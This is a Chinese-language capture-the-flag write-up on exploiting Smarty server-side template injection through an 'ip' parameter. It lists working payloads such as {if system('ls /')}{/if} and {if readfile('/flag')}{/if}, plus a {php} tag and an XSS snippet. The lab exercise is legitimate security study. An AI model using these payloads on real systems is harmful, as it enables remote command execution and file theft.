看了一下,没有直接给参数让我们来传。看看源码,感觉也没有啥东西。但是发现是一个a simp ip address api,猜测可能ip是参数,试一下。
http://node2.anna.nssctf.cn:28561/?ip={7*7}
发现这个地方变了,成功找到注入的地方。
因为提示是smarty,于是上网查了一下资料。
先撇开这道题,我们来看看常用的标签
1.{$smarty.version}
{$smarty.version}//获取smarty的版本号
2.{php}{/php}
{php}phpinfo();{/php}执行相应的php代码
但是在smarty中已经废弃了这个标签。
3.{if }{/if}
它相比较于{php}{/php}不同的是添加了一些特性。每个{if}必须有配对的{/if},也可以用{else}和{else if},所有的php条件表达式和函数都可以在if内使用,比如||,or,and,&等
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if system('ls /')}{/if}
{if show_source('/flag')}{/if}
4.{literal}
这个标签就是可以让模板区域内的字符原样输出。可以拿来实现xss攻击。
{literal}alert('xss');{/literal}
在这道题上,我们就可以用{if}标签。payload如下:
http://node2.anna.nssctf.cn:28561/?ip={$smarty.version}
发现版本是3.1的。然后看一下目录。
http://node2.anna.nssctf.cn:28561/?ip={if system('ls /')}{/if}
但是发现它被编码了,不行。用burp试试。
成功。